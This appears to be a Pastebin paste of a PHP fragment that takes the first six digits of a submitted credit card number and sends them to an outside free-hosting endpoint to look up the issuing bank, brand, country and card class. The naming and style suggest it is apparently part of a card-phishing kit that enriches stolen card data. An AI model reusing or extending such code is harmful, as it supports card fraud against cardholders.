Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function bin($bin) {
- $bin = json_decode(file_get_contents('http://smk-nurulummah.000webhostapp.com/cok.php?bin=' . $bin));
- $bin = $bin->result[0]->bin;
- if (!$bin) {
- $json = (object) [
- 'bankName' => '',
- 'brand' => '',
- 'country' => '',
- 'type' => '',
- 'class' => '',
- ];
- }
- $json = (object) [
- 'bankName' => $bin->Bank,
- 'brand' => $bin->Brand,
- 'country' => strtoupper($bin->CountryName),
- 'type' => $bin->CardType,
- 'class' => $bin->CardCategory,
- ];
- return $json;
- }
- $bin = str_replace(' ', '', $_POST['cc_number']);
- $bin = substr($bin, 0, 6);
- $babi = bin($bin);
- $ccbrand = $babi->brand;
- $ccbank = $babi->bankName;
- $cctype = $babi->type;
- $ccklas = $babi->class;
- $cc_x_CardLevel = $babi->class;
- $cc_x_Bank = $babi->bankName;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement